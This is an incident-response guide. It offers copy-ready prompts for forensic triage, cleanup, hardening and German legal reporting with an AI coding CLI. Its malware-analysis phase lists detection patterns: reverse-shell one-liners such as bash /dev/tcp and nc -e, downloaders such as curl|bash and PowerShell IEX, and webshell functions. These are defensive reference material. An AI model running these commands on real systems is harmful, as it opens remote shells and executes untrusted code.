🇩🇪 DEUTSCH 🇬🇧 ENGLISH

# Forensic Incident Response Guide

**Structured guide for forensic analysis with Claude Code CLI after Network Lockdown**

> *This guide assumes that Network Lockdown has already been activated and Claude Code CLI is available as the only outbound channel. All prompts can be copied directly into Claude Code CLI.*

## Table of Contents

## Quick Reference — Immediate Prompts

The 10 most important prompts for emergency situations. Copy them directly into Claude Code CLI — no lengthy reading required.

| # | Prompt | Purpose |
|---|---|---|
| 1 | `Create a system snapshot: Hostname, OS version, uptime, logged-in users, kernel version. Save everything to /tmp/incident/snapshot.txt` | Initial inventory |
| 2 | `List all running processes with PID, user, CPU%, MEM%, start time, and full command. Mark anything suspicious.` | Process overview |
| 3 | `Show all active network connections with associated processes. Mark connections to unknown external IPs.` | Network overview |
| 4 | `Search auth logs for the last 72 hours for failed and successful logins, sudo usage, and account changes.` | Login analysis |
| 5 | `Find all files modified or created in the last 48 hours in /etc, /usr, /var, /tmp, and home directories.` | File modifications |
| 6 | `Check all persistence mechanisms: cron jobs, systemd timers, Launch Agents/Daemons, startup scripts, shell profiles, authorized_keys.` | Persistence check |
| 7 | `Search for SUID/SGID binaries, world-writable directories, and hidden files outside standard paths.` | Privilege escalation |
| 8 | `Analyze all SSH keys on the system. Compare authorized_keys with known keys. Are there any unknown entries?` | SSH audit |
| 9 | `Create an IOC list (Indicators of Compromise): suspicious IPs, file hashes, filenames, user accounts, timestamps.` | IOC collection |
| 10 | `Create an incident report with timeline, attack vector, affected systems, actions taken, and open issues.` | Documentation |

# Phase 1 — Lockdown & Initial Triage

## What we do and why

Volatile data (RAM, processes, network connections) is lost on every reboot. Therefore, we secure it **first** before beginning the actual analysis. The order follows RFC 3227 ("Order of Volatility").

## Step 1: Activate lockdown (if not already done)

```
# macOS
sudo ./network-lockdown-mac.sh on

# Linux
sudo ./network-lockdown-linux.sh on

# Windows (PowerShell as Administrator)
.\network-lockdown-windows.ps1 on
```

## Step 2: Create working directory

> *Create the directory /tmp/incident with subdirectories for logs, processes, network, files, iocs, and report. Set permissions to 700.*

## Step 3: System snapshot

> *Create a complete system snapshot and save it to /tmp/incident/snapshot.txt. Capture: Hostname, OS version, kernel version, uptime, current time (UTC and local), logged-in users, last reboot time, installed kernel modules, mount points, and disk usage.*

## Step 4: Secure volatile data

> *Secure the following volatile data in /tmp/incident/volatile/:*
>
> 1. *Complete process list with all details (ps auxww)*
> 2. *All network connections (netstat/ss with process mapping)*
> 3. *ARP cache*
> 4. *Routing table*
> 5. *DNS cache (where possible)*
> 6. *Open files (lsof)*
> 7. *Loaded kernel modules*
> 8. *Active logins and login history*

## Red flags in this phase

- **Extremely short uptime** — System may have been rebooted to cover tracks
- **Unknown users logged in** — Attacker may still be active
- **Unknown kernel modules** — Rootkit indicator
- **Unusual mount points** — Hidden partitions or remote mounts

## Platform notes

| Aspect | macOS | Linux | Windows |
|---|---|---|---|
| Kernel modules | `kextstat` | `lsmod` | `driverquery` |
| Open files | `lsof` | `lsof` | `handle.exe` (Sysinternals) |
| DNS cache | `sudo dscacheutil -cachedump` | `resolvectl statistics` | `Get-DnsClientCache` |
| System info | `system_profiler` | `/etc/os-release` | `systeminfo` |

# Phase 2 — Log Analysis

## What we do and why

Logs are the primary source of evidence. They show when, how, and by whom a system was compromised. We analyze them systematically — from auth logs (entry vector) through system logs (actions) to application logs (payload).

## Analyze auth logs

> *Search all authentication logs for the last 7 days. Look for:*
>
> 1. *Failed SSH login attempts (brute force?)*
> 2. *Successful logins from unknown IPs or at unusual times*
> 3. *sudo usage — who used root privileges when?*
> 4. *su calls — user switching*
> 5. *Account creation or modification*
> 6. *PAM messages Create a chronological summary and save it to /tmp/incident/logs/auth-analysis.txt*

## Analyze system logs

> *Search system logs for the last 7 days for suspicious entries:*
>
> 1. *Service starts and stops (especially unknown ones)*
> 2. *Kernel messages (segfaults, OOM, suspicious modules)*
> 3. *Cron executions*
> 4. *Package manager activity (was anything installed?)*
> 5. *Disk mounts and USB devices Summarize the findings and save them to /tmp/incident/logs/system-analysis.txt*

## Webserver logs (if present)

> *Check if a webserver is running on this system (Apache, Nginx, IIS). If so:*
>
> 1. *Search access logs for suspicious requests (SQL injection, path traversal, command injection, webshell access)*
> 2. *Check error logs for unusual errors*
> 3. *Search for POST requests to unusual paths*
> 4. *Look for user agents indicating exploit tools (sqlmap, nikto, dirb, gobuster) Save the results to /tmp/incident/logs/webserver-analysis.txt*

## Red flags in this phase

- **Deleted or cleared logs** — Attacker covering tracks
- **Gaps in log timeline** — Logs may have been manipulated
- **Successful logins after many failures** — Brute force successful
- **sudo without known reason** — Privilege escalation
- **Unknown cron executions** — Persistence mechanism
- **Webshell patterns** (e.g., `cmd=`, `exec=`, `c=whoami` in URLs)

## Platform notes

| Log type | macOS | Linux | Windows |
|---|---|---|---|
| Auth logs | `log show --predicate 'category == "auth"'` | `/var/log/auth.log` or `journalctl -u sshd` | `Get-WinEvent -LogName Security` |
| System logs | `log show --predicate 'subsystem == "com.apple.system"'` | `journalctl` or `/var/log/syslog` | `Get-WinEvent -LogName System` |
| Unified logging | `log show --last 7d` | `journalctl --since "7 days ago"` | `Get-WinEvent` |

| Log type | macOS | Linux | Windows |
|---|---|---|---|
| Webserver | `/usr/local/var/log/` (Homebrew) | `/var/log/apache2/` or `/var/log/nginx/` | `C:\inetpub\logs\` |

---

# Phase 3 — Process Forensics

## What we do and why

Running processes show what the attacker **is currently doing** or what malware **is active**. Process forensics is time-critical — a process can terminate or hide at any moment.

## Identify suspicious processes

> *List all running processes with PID, PPID, user, CPU%, MEM%, start time, runtime, and full command. Mark the following categories as suspicious:*
>
> 1. *Processes with unusually high CPU or memory usage*
> 2. *Processes running as root that don't belong to known system services*
> 3. *Processes with suspicious names (random strings, typosquatted system tools)*
> 4. *Processes started from /tmp, /dev/shm, or other unusual paths*
> 5. *Processes without a corresponding binary on disk Save the complete list to /tmp/incident/processes/full-list.txt and the suspicious ones separately to /tmp/incident/processes/suspicious.txt*

## Analyze process tree

> *Create a process tree (parent-child relationships) for all suspicious processes. Show the complete path from init/launchd/PID 1 to the suspicious process. Pay special attention to:*
>
> 1. *Shell processes started by webservers (webshell indicator)*
> 2. *Processes started by cron but not listed in crontab*
> 3. *Unusual parent processes (e.g., a Python script started by a PDF viewer)*

## Open files and sockets per process

> *For each suspicious process: Show all open files, network sockets, and pipes. Pay special attention to:*
>
> 1. *Open connections to external IPs*
> 2. *Listening sockets on unusual ports*
> 3. *Open files in /tmp or other suspicious directories*
> 4. *Memory-mapped files*

## Deleted but running processes (Linux)

> *Check /proc/*/exe for processes whose binary was deleted (shows "(deleted)" in the symlink). This is a strong malware indicator — the attacker deleted the file to cover tracks, but the process is still running. For each such process: Secure the memory contents via /proc/PID/maps and the binary via /proc/PID/exe to /tmp/incident/processes/recovered/*

## Red flags in this phase

- **Process binary deleted** — almost certainly malware
- **Shell started by webserver** (apache/www-data → /bin/sh) — Webshell
- **Crypto-mining patterns** (high CPU, process name like xmrig, minerd, kdevtmpfsi)

- **Reverse-shell patterns** (bash/nc/python with network socket)
- **Process has no parent** (PPID=1 but not a daemon) — re-parented after attacker logout

## Platform notes

| Aspect | macOS | Linux | Windows |
|---|---|---|---|
| Process list | `ps auxww` | `ps auxww` | `Get-Process \| Select *` |
| Process tree | `pstree` (Homebrew) | `pstree -p` | `Get-CimInstance Win32_Process` |
| Open files | `lsof -p PID` | `lsof -p PID` or `/proc/PID/fd/` | `handle.exe -p PID` |
| Deleted binary | N/A | `ls -la /proc/PID/exe` | N/A |
| Memory dump | `lldb` | `/proc/PID/mem` | `procdump.exe -ma PID` |

# Phase 4 — Network Forensics

## What we do and why

Network artifacts show where the attacker sent data (exfiltration), where they receive commands from (C2), and whether they're moving laterally in the network. The lockdown blocks active connections — but the traces remain.

## Active connections and listening ports

> *Show all active TCP and UDP connections as well as all listening ports. For each connection: Process name, PID, local and remote address, state. Mark:*
>
> 1. *Connections to known malicious IP ranges*
> 2. *Listening ports that don't belong to known services*
> 3. *Connections in ESTABLISHED state to unknown destinations*
> 4. *High port numbers as listeners (backdoor indicator) Save to /tmp/incident/network/connections.txt*

## ARP cache and neighbor table

> *Secure the ARP cache (IPv4) and neighbor table (IPv6). These show which other devices in the local network have communicated with this system. Look for:*
>
> 1. *Unknown MAC addresses*
> 2. *IP addresses that don't fit the network schema*
> 3. *Multiple IPs on the same MAC (ARP spoofing indicator) Save to /tmp/incident/network/arp-cache.txt*

## Analyze DNS cache

> *Secure and analyze the DNS cache. DNS queries reveal which domains the attacker contacted — even if the connection has long since closed. Look for:*
>
> 1. *Suspicious domains (DGA patterns: long random strings)*
> 2. *Known C2 domains*
> 3. *DNS tunneling indicators (unusually long subdomains)*
> 4. *Domains resolving to the same IP as known malware Save to /tmp/incident/network/dns-cache.txt*

## Check routing table

> *Show the current routing table and compare it with a standard configuration. Look for:*
>
> 1. *Unknown static routes (traffic redirection)*
> 2. *Changed default route (man-in-the-middle)*
> 3. *Policy-based routes that weren't configured*

## Check firewall rules

> *Show the current firewall rules WITHOUT the Network Lockdown rules. Were rules manipulated before lockdown? Look for:*
>
> 1. *Allow rules for unknown ports or IPs*
> 2. *Disabled default-deny rules*
> 3. *Recently changed rules*

## Red flags in this phase

- **Connection to known C2 IPs** (Tor exit nodes, known malware IPs)
- **Listening port on high port** (e.g., 4444, 5555, 8888, 9999) — Reverse shell
- **DNS queries with long subdomains** — DNS tunneling/exfiltration
- **Modified routing table** — Traffic is being redirected
- **ARP entries with duplicate MACs** — ARP spoofing on LAN

## Platform notes

| Aspect | macOS | Linux | Windows |
|---|---|---|---|
| Connections | `netstat -anv` or `lsof -i` | `ss -tulpn` or `netstat -tulpn` | `Get-NetTCPConnection` |

| Aspect | macOS | Linux | Windows |
|---|---|---|---|
| ARP cache | `arp -a` | `ip neigh show` | `Get-NetNeighbor` |
| DNS cache | `dscacheutil -cachedump` | `resolvectl query` (limited) | `Get-DnsClientCache` |
| Routing | `netstat -rn` | `ip route show` | `Get-NetRoute` |
| Firewall | `pfctl -sr` | `iptables -L -n -v` | `Get-NetFirewallRule` |

---

# Phase 5 — Filesystem Analysis

## What we do and why

The filesystem contains the permanent traces of an attack: malware binaries, modified configurations, exfiltration staging, webshells, and backdoors. We systematically search for anomalies.

## Recently modified files

> *Find all files modified (mtime) or created in the last 48 hours. Search these directories:*
>
> - */etc (configurations)*
> - */usr/local/bin, /usr/bin, /usr/sbin (binaries)*
> - */var (logs, webserver data)*
> - */tmp, /var/tmp (temporary files)*
> - */home and /root (user directories)*
> - */opt (third-party software) Ignore known log rotation and package manager activity. Save to /tmp/incident/files/recently-modified.txt*

## Hidden files and directories

> *Search for hidden files and directories (starting with .) outside standard paths. Pay special attention to:*
>
> 1. *Hidden directories in /tmp, /var/tmp, /dev/shm*
> 2. *Hidden files in webserver root directories*
> 3. *Hidden files with executable permissions*
> 4. *Dotfiles in home directories not belonging to known programs*

## SUID/SGID binaries

> *Find all SUID and SGID files on the system. Compare the list with standard SUID binaries of the distribution. Mark:*
>
> 1. *SUID binaries outside /usr/bin, /usr/sbin, /usr/lib*
> 2. *Recently created SUID binaries*
> 3. *SUID binaries with unusual names*
> 4. *SUID binaries not belonging to the installed package list Save to /tmp/incident/files/suid-sgid.txt*

## World-writable directories and files

> *Find world-writable directories and files outside /tmp and /var/tmp. These are potential drop zones for malware or staging areas for exfiltration.*

## Search temp directories

> *Thoroughly search /tmp, /var/tmp, /dev/shm (Linux), and other temporary directories:*
>
> 1. *Executable files*
> 2. *Script files (sh, py, pl, rb, php)*
> 3. *Compressed archives (tar, gz, zip) — Exfiltration staging?*
> 4. *Core dumps (may contain credentials)*
> 5. *Socket files (local communication)*

## Unusually large files

> *Find files larger than 100 MB created in the last 7 days. Large files may indicate data collection for exfiltration, crypto-mining software, or stolen databases.*

## Check file integrity

> *If a package manager is available, check whether installed system binaries have been manipulated:*
>
> - *Debian/Ubuntu: dpkg --verify*
> - *RHEL/CentOS: rpm -Va*
> - *macOS: Compare with known checksums Any deviating binary is a strong indicator of compromise.*

## Red flags in this phase

- **SUID binary in /tmp** — almost certainly a privilege escalation tool
- **Executable files in /dev/shm** — pure RAM filesystem, popular for malware
- **Modified system binaries** (ls, ps, netstat, ss) — Rootkit
- **Large tar.gz in /tmp** — Data prepared for exfiltration
- **Hidden directories in /var/www** — Webshell hiding place

- **Core dumps with credentials** — Attacker may have generated these

## Platform notes

| Aspect | macOS | Linux | Windows |
|---|---|---|---|
| Recently modified | `find / -mtime -2 -type f` | `find / -mtime -2 -type f` | `Get-ChildItem -Recurse \| Where LastWriteTime -gt (Get-Date).AddDays(-2)` |
| SUID files | `find / -perm -4000` | `find / -perm -4000` | N/A (use `icacls` for permissions) |
| Hidden files | `find / -name ".*"` | `find / -name ".*"` | `Get-ChildItem -Hidden -Recurse` |
| Package verify | N/A | `dpkg --verify` / `rpm -Va` | `sfc /scannow` |
| Temp paths | `/tmp`, `/private/tmp` | `/tmp`, `/var/tmp`, `/dev/shm` | `$env:TEMP`, `C:\Windows\Temp` |

---

# Phase 6 — Persistence Mechanisms

## What we do and why

Attackers want to retain access after a reboot. To do this, they install persistence mechanisms — automatic startup points that reactivate their malware or access. We must find and remove **all** of them.

## Cron jobs and timers

> *Check all cron jobs on the system:*
>
> 1. *User crontabs: crontab -l for each user*
> 2. *System crontabs: /etc/crontab*
> 3. *Cron directories: /etc/cron.d/, /etc/cron.daily/, /etc/cron.hourly/, /etc/cron.weekly/, /etc/cron.monthly/*
> 4. *at queue: atq*
> 5. *systemd timers: systemctl list-timers --all (Linux) Mark all entries that don't belong to known system services. Save to /tmp/incident/files/persistence-cron.txt*

## Startup scripts and launch agents

> *Check all autostart mechanisms:*
>
> *macOS:*
>
> - */Library/LaunchDaemons/ (System-wide, as root)*
> - */Library/LaunchAgents/ (System-wide, as user)*
> - *~/Library/LaunchAgents/ (per user)*
> - */System/Library/LaunchDaemons/ (Apple — should not be modified)*
> - *Login Items (osascript)*
>
> *Linux:*
>
> - */etc/init.d/*
> - */etc/systemd/system/ (custom services)*
> - */usr/lib/systemd/system/ (package services)*
> - */etc/rc.local*
> - *~/.config/autostart/ (desktop)*
>
> *Windows:*
>
> - *HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run*
> - *HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run*
> - *Startup folder*
> - *Scheduled Tasks (schtasks /query)*
>
> *Mark all unknown entries.*

## Shell profiles

> *Check all shell configuration files for injected commands:*
>
> 1. */etc/profile, /etc/bash.bashrc, /etc/zshrc (system-wide)*
> 2. *~/.bashrc, ~/.bash_profile, ~/.zshrc, ~/.profile for each user*
> 3. *~/.ssh/rc (executed on every SSH login!)*
> 4. */etc/environment (environment variables) Look for: curl/wget calls, base64-decoded executions, reverse-shell payloads, unknown source statements.*

## SSH authorized_keys

> *Check ~/.ssh/authorized_keys for each user on the system. Look for:*
>
> 1. *Unknown keys (compare fingerprints)*
> 2. *Keys with command="..." — forces execution of a command on login*
> 3. *Keys with no-pty, from="..." or other restrictions/extensions*
> 4. *Recently added keys (file timestamps)*

## Kernel modules and extensions

> *Check loaded kernel modules for unknowns:*
>
> - *Linux: lsmod, /lib/modules/, modinfo for suspicious modules*
> - *macOS: kextstat, /Library/Extensions/, /System/Library/Extensions/ Kernel modules with root access can hide everything (rootkit).*

## Red flags in this phase

- **Cron job with base64-decoded execution** — Obfuscated malware
- **Launch agent with cryptic name** — Persistence implant

- **authorized_keys with command=""** — Forced backdoor execution
- **Shell profile with curl|bash** — Download-and-execute on every login
- **Unknown kernel module** — Possibly rootkit
- **systemd service starting binary from /tmp** — Malware persistence

---

# Phase 7 — User Accounts & Access Rights

## What we do and why

Attackers often create new accounts, escalate privileges of existing accounts, or manipulate sudo configuration. We check all accounts and access rights for anomalies.

## Unknown or new users

> *Analyze /etc/passwd and /etc/shadow (Linux/macOS) or SAM database (Windows):*
>
> 1. *Are there accounts created after the suspected compromise?*
> 2. *Are there accounts with unusual UIDs (e.g., UID 0 other than root)?*
> 3. *Are there accounts without password or with empty password?*
> 4. *Are there accounts with login shell that should be system accounts (e.g., www-data with /bin/bash instead of /usr/sbin/nologin)?*
> 5. *Check /etc/group for unusual group memberships (sudo, wheel, admin)*

## UID-0 accounts

> *Search all accounts with UID 0 (root equivalent). On a clean system, only the root account should have UID 0. Any additional account with UID 0 is a strong indicator of compromise.*

## Check sudo configuration

> Analyze sudo configuration (/etc/sudoers and /etc/sudoers.d/*):
>
> 1. Who has passwordless sudo (NOPASSWD)?
> 2. Are there ALL rights for non-administrative users?
> 3. Were entries recently added?
> 4. Are there entries allowing shell escape (e.g., sudo vi, sudo less)?

## Last logins and login history

> Analyze login history:
>
> 1. last — last logins of all users
> 2. lastb — failed login attempts
> 3. lastlog — last login of each user
> 4. wtmp/utmp — Login records Look for: Logins at unusual times, logins from unknown IPs, users who normally don't log in directly.

## SSH key audit

> Perform a complete SSH audit:
>
> 1. Host keys: Were /etc/ssh/ssh_host_* recently modified?
> 2. User keys: Are there private keys that aren't password-protected?
> 3. known_hosts: Were entries manipulated (hash comparison)?
> 4. SSH daemon configuration (/etc/ssh/sshd_config): PermitRootLogin, PasswordAuthentication, AuthorizedKeysFile — Deviations from expected?

## Red flags in this phase

- **Second account with UID 0** — Backdoor account
- **System account with login shell** — Was misused for interactive access
- **NOPASSWD sudo for unknown user** — Privilege escalation persistence
- **Logins at 3:00 AM from foreign IPs** — Attacker active
- **Host keys recently changed** — Possibly MITM attack
- **PermitRootLogin yes** — SSH hardening missing or undone

---

# Phase 8 — Malware Analysis

## What we do and why

When we've found suspicious files, we analyze them to understand what they do, how they communicate, and whether they belong to known malware. This is **static analysis** — we don't execute anything.

## Static analysis

> *For each suspicious file, perform the following static analysis:*
>
> 1. *File type: file — does the type match the extension?*
> 2. *Strings: strings — extract readable strings (IPs, URLs, commands, error messages)*
> 3. *Checksums: sha256sum — for later IOC list and VirusTotal query*
> 4. *File size and timestamps: ls -la*
> 5. *ELF header (Linux): readelf -h*
> 6. *Mach-O header (macOS): otool -h Save the results to /tmp/incident/files/malware-analysis/*

## Recognize known malware patterns

> *Search suspicious files and scripts for known malware patterns:*
>
> ***Reverse shells:***
>
> - `bash -i >& /dev/tcp/IP/PORT`
> - `python -c 'import socket,subprocess,os...'`
> - `nc -e /bin/sh IP PORT`
> - `perl -e 'use Socket;...'`
> - `php -r '$sock=fsockopen(...)...'`
> - `ruby -rsocket -e '...'`
> - `mkfifo /tmp/f; cat /tmp/f | /bin/sh`
>
> ***Crypto miners:***
>
> - *xmrig, minerd, kdevtmpfsi*
> - *Stratum protocol:* `stratum+tcp://`
> - *Mining pool domains*
>
> ***Webshells:***
>
> - *PHP:* `eval()`, `system()`, `exec()`, `passthru()`, `shell_exec()`, `base64_decode()`
> - *JSP:* `Runtime.getRuntime().exec()`
> - *ASP:* `eval`, `execute`, `CreateObject("WScript.Shell")`
>
> ***Downloaders:***
>
> - `curl | bash`, `wget -O- | sh`
> - `python -c "import urllib..."`
> - *PowerShell:* `IEX(New-Object Net.WebClient).DownloadString()`

## Encoded/obfuscated payloads

> *Search for obfuscated payloads in suspicious files and scripts:*
>
> 1. *Base64-encoded strings (longer than 50 characters)*
> 2. *Hex-encoded strings*
> 3. *ROT13 or XOR-encrypted content*
> 4. *Double or triple nested encoding*
> 5. *Variable name obfuscation (e.g.,* `$_ = chr(115).chr(121)...` *) If found: Decode the payloads and analyze the plaintext.*

## Red flags in this phase

- **ELF binary disguised as text file** — Renamed for concealment
- **Strings contain known C2 URLs or IPs**
- **Base64 in crontab or shell profiles** — Obfuscated payload
- **Statically linked binary** (no dependencies) — Portable attack tool
- **UPX-packed binary** — Anti-analysis technique
- **PHP file with extremely long base64 string** — Webshell

---

# Phase 9 — Remediation & Cleanup

## What we do and why

After we've understood the attack, we eliminate all artifacts. **Important:** Only clean up when analysis is complete — otherwise evidence is lost.

## Securely delete malicious files

> *Securely delete the identified malware files. Use:*
>
> - *Linux:* `shred -vfz -n 3 <file>`
> - *macOS:* `rm -P <file>` *(or gshred from coreutils)*
> - *Windows:* `cipher /w:Directory` *(after normal deletion)*
>
> *Delete the following categories:*
>
> 1. *Identified malware binaries*
> 2. *Webshells*
> 3. *Backdoor scripts*
> 4. *Exfiltration archives in /tmp*
> 5. *Attacker tools Document each deletion with path, SHA256 hash, and timestamp.*

## Compromised accounts

> *Lock or delete all compromised and attacker-created accounts:*
>
> 1. *Attacker-created accounts:* `userdel -r <user>`
> 2. *Compromised accounts:* `passwd -l <user>` *(lock), then change password*
> 3. *UID-0 backdoor accounts: delete immediately*
> 4. *Document all password hashes of compromised accounts as IOCs*

## Rotate SSH keys

> *Rotate all SSH keys on the system:*
>
> 1. *Regenerate host keys:* `ssh-keygen -A`
> 2. *Clean all user authorized_keys — keep only known, verified keys*
> 3. *Delete and regenerate compromised private keys*
> 4. *Clean known_hosts of all users*

## Remove backdoors and persistence

> *Remove all identified persistence mechanisms:*
>
> 1. *Delete malicious cron jobs*
> 2. *Remove malware launch agents/daemons (macOS)*
> 3. *Disable and delete malicious systemd services (Linux)*
> 4. *Clean manipulated shell profiles*
> 5. *Unload and delete malicious kernel modules*
> 6. *Clean registry entries (Windows) Document each change.*

## Reset manipulated configurations

> *Reset all manipulated configurations to secure defaults:*
>
> 1. */etc/ssh/sshd_config — secure SSH configuration*
> 2. */etc/sudoers — only necessary entries*
> 3. */etc/hosts — no malicious DNS redirects*
> 4. */etc/resolv.conf — correct DNS servers*
> 5. *Webserver configuration — if manipulated*
> 6. *Firewall rules — remove all attacker rules*

## Restart affected services

> *Restart all services affected by cleanup:*
>
> 1. *sshd (after key rotation and config change)*
> 2. *Webserver (after webshell removal)*
> 3. *Cron daemon (after crontab cleanup)*
> 4. *Syslog (ensure logging works again)*

---

# Phase 10 — Hardening

## What we do and why

After cleanup, we harden the system so the same attack vector doesn't work again. Hardening should be pragmatic — only measures that cover the specific attack and common vectors.

## System updates

> *Check if security updates are available and install them:*
>
> - *Debian/Ubuntu:* `apt update && apt upgrade -y`
> - *RHEL/CentOS:* `dnf update -y`
> - *macOS:* `softwareupdate -ia`
> - *Windows:* `Install-WindowsUpdate` *(PSWindowsUpdate module)* ***Note:*** *For updates, lockdown must be temporarily disabled or update servers added to whitelist.*

## Harden SSH

> *Harden SSH configuration in /etc/ssh/sshd_config:*
>
> ```
> PermitRootLogin no
> PasswordAuthentication no
> PubkeyAuthentication yes
> MaxAuthTries 3
> LoginGraceTime 30
> AllowUsers <allowed-users>
> Protocol 2
> X11Forwarding no
> PermitEmptyPasswords no
> ClientAliveInterval 300
> ClientAliveCountMax 2
> ```

## Tighten firewall rules

> *Create restrictive firewall rules (after lockdown deactivation):*
>
> - *Default: DROP INPUT, DROP FORWARD, ACCEPT OUTPUT*
> - *Open only required incoming ports (SSH, HTTP/HTTPS if webserver)*
> - *Rate limiting for SSH (e.g., max 3 new connections per minute)*
> - *Enable logging for blocked connections*

## Disable unnecessary services

> *List all running and enabled services. Disable everything not needed:*
>
> 1. *Unneeded network services (FTP, Telnet, rsh)*
> 2. *Debug interfaces*
> 3. *Test webservers*
> 4. *Unneeded database servers Fewer running services = smaller attack surface.*

## Set up file integrity monitoring

> *Set up simple file integrity monitoring:*
>
> 1. *Create checksums of all critical system binaries*
> 2. *Create checksums of all configuration files*
> 3. *Store checksum list securely (e.g., on external medium)*
> 4. *Optional: Install AIDE or OSSEC for automatic monitoring This enables later detection of tampering.*

## Enable audit logging

> *Enable extended logging:*
>
> - *Linux: auditd with rules for critical files and system calls*
> - *macOS: OpenBSM / audit*
> - *Windows: Advanced Audit Policy Configuration Minimum: Log all logins, sudo usage, file changes in /etc, new processes.*

# Phase 11 — Documentation & Reporting

## What we do and why

An incident without documentation is a lost incident. We create complete documentation for legal purposes, organizational improvements, and future reference.

## Generate IOC list

> *Create a complete IOC list (Indicators of Compromise) based on all findings:*
>
> ***Network IOCs:***
>
> - *Malicious IP addresses (C2, exfiltration)*
> - *Malicious domains*
> - *Suspicious URLs*
> - *Unusual ports*
>
> ***File IOCs:***
>
> - *SHA256 hashes of all malware files*
> - *Filenames and paths*
> - *File sizes*
> - *YARA rules (if possible)*
>
> ***Host IOCs:***
>
> - *Created user accounts*
> - *Modified configuration files*
> - *Installed services*
> - *Registry keys (Windows)*
>
> ***Temporal IOCs:***
>
> - *First known access*
> - *Pivoting timepoints*
> - *Exfiltration time windows*
>
> *Save to /tmp/incident/iocs/ioc-list.txt in STIX or CSV format.*

## Create timeline

> *Create a chronological timeline of the incident based on all collected evidence:*
>
> | ***Timestamp (UTC)*** | ***Event*** | ***Source*** | ***Assessment*** |
> |---|---|---|---|
> | *YYYY-MM-DD HH:MM* | *...* | *Log/File/...* | *Certain/Likely/Possible* |
>
> *The timeline should contain:*
>
> 1. *First suspected access*
> 2. *Initial compromise*
> 3. *Privilege escalation*
> 4. *Lateral movement (if present)*
> 5. *Persistence installation*
> 6. *Data exfiltration (if present)*
> 7. *Discovery*
> 8. *Start of incident response*
> 9. *Cleanup*
> 10. *Recovery*
>
> *Save to /tmp/incident/report/timeline.txt*

## Create incident report

> *Create a complete incident report with the following structure:*
>
> ***1. Executive Summary***
>
> - *What happened? (1-2 sentences)*
> - *When was it discovered?*
> - *Which systems are affected?*
> - *What was done?*
>
> ***2. Technical Details***
>
> - *Attack vector*
> - *Affected systems and services*
> - *Compromised accounts*
> - *Installed malware/backdoors*
> - *Exfiltrated data (if known)*
>
> ***3. Timeline*** *(Reference to timeline file)*
>
> ***4. Indicators of Compromise*** *(Reference to IOC list)*
>
> ***5. Actions Taken***
>
> - *Isolation (lockdown)*
> - *Forensic analysis*
> - *Cleanup*
> - *Hardening*
>
> ***6. Recommendations***
>
> - *Short-term (immediate)*
> - *Medium-term (next weeks)*
> - *Long-term (next months)*
>
> ***7. Lessons Learned***
>
> - *What worked well?*

> - *What needs improvement?*
> - *Which processes are missing?*
>
> *Save to /tmp/incident/report/incident-report.md*

## Reporting Obligations & Criminal Complaint

Depending on the type and severity of the incident, there are **legal reporting obligations**. These should be checked and complied with in parallel with technical analysis.

### BSI Report (Germany)

Operators of critical infrastructure (KRITIS) are required under **§ 8b BSI-Gesetz** to report significant IT security incidents to BSI.

> *Create a BSI report based on the incident report. The report should contain:*
>
> 1. *Affected critical service*
> 2. *Type of disruption / attack*
> 3. *Suspected attack vector*
> 4. *Affected IT systems and impacts*
> 5. *Measures already taken*
> 6. *Contact details of reporter Save to /tmp/incident/report/bsi-meldung.txt*

**Reporting channels:**

- **BSI reporting portal:** https://www.bsi.bund.de/DE/IT-Sicherheitsvorfall/it-sicherheitsvorfall_node.html
- **24/7 hotline:** +49 228 99 9582-6727
- **Email:** meldestelle@bsi.bund.de

**Who must report?**

- KRITIS operators (energy, water, health, IT/telecom, finance, transport, food)
- Companies under the **NIS2 directive** (from 2024/2025)

- Operators of digital services (online marketplaces, search engines, cloud services)

**Deadlines:**

- Initial report: **immediately**, at latest 24 hours after becoming aware
- Follow-up report with details: within 72 hours
- Final report: within one month

## DSGVO Report (Data Protection Incident)

If personal data is affected, there is a reporting obligation under **Art. 33 DSGVO** to the competent data protection supervisory authority.

> *Check if personal data is affected by the compromise:*
>
> 1. *Were databases with customer data, employee data, or user data compromised?*
> 2. *Was there access to email mailboxes?*
> 3. *Were files with personal data exfiltrated?*
> 4. *Were access credentials (passwords, tokens) affected? If yes: Document type and scope of affected data for DSGVO report.*

**Obligations:**

- **Report to supervisory authority:** within **72 hours** of becoming aware (Art. 33 DSGVO)
- **Notification of data subjects:** if high risk to their rights exists (Art. 34 DSGVO)
- **Documentation:** Every incident must be documented internally — even if no reporting obligation exists

**Competent supervisory authorities (selection):**

| Bundesland | Authority | Reporting portal |
|---|---|---|
| Bund | BfDI | https://www.bfdi.bund.de |
| Bayern | BayLDA | https://www.lda.bayern.de |
| NRW | LDI NRW | https://www.ldi.nrw.de |

| Bundesland | Authority | Reporting portal |
|---|---|---|
| Baden-Württemberg | LfDI BW | https://www.baden-württemberg.datenschutz.de |
| Other | | See https://www.datenschutzkonferenz-online.de |

## Criminal Complaint with Police

For cybercrime offenses (§§ 202a-d, 303a-b StGB), a **criminal complaint** should be filed. Many German states offer an **Online-Wache** for this purpose.

> *Create a summary of the incident for the criminal complaint. The summary should contain:*
>
> 1. *Description of incident in non-technical language*
> 2. *Suspected time of offense*
> 3. *Type of attack (unauthorized access, data theft, sabotage, extortion)*
> 4. *Known damage (financial, data loss, business interruption)*
> 5. *Technical evidence (IOC list as attachment)*
> 6. *Affected systems and data Save to /tmp/incident/report/strafanzeige-zusammenfassung.txt*

**Online-Wache of German states:**

| Bundesland | Online-Wache |
|---|---|
| Baden-Württemberg | https://www.polizei-bw.de/onlinewache |
| Bayern | https://www.polizei.bayern.de/onlinewache |
| Berlin | https://www.internetwache-polizei-berlin.de |
| Brandenburg | https://polizei.brandenburg.de/onlineanzeige |
| Hamburg | https://www.polizei.hamburg/onlinewache |
| Hessen | https://onlinewache.polizei.hessen.de |
| Niedersachsen | https://www.onlinewache.polizei.niedersachsen.de |

| Bundesland | Online-Wache |
|---|---|
| NRW | https://polizei.nrw/internetwache |
| Sachsen | https://www.polizei.sachsen.de/onlinewache |
| Schleswig-Holstein | https://www.schleswig-holstein.de/onlinewache |

**Specialized contact points:**

- **ZAC (Zentrale Ansprechstellen Cybercrime):** Each state criminal office has a ZAC office for companies — accessible via respective LKA website
- **BKA:** For serious or cross-border cases, directly to the Federal Criminal Police Office

**Important for the complaint:**

- **Do not alter** evidence before filing the complaint (our analysis is non-destructive)
- Attach IOC list, timeline, and incident report
- Secure screenshots of suspicious files, logs, and connections
- In case of ransomware: **do not pay ransom** without consulting police and BSI

## International Reporting Authorities

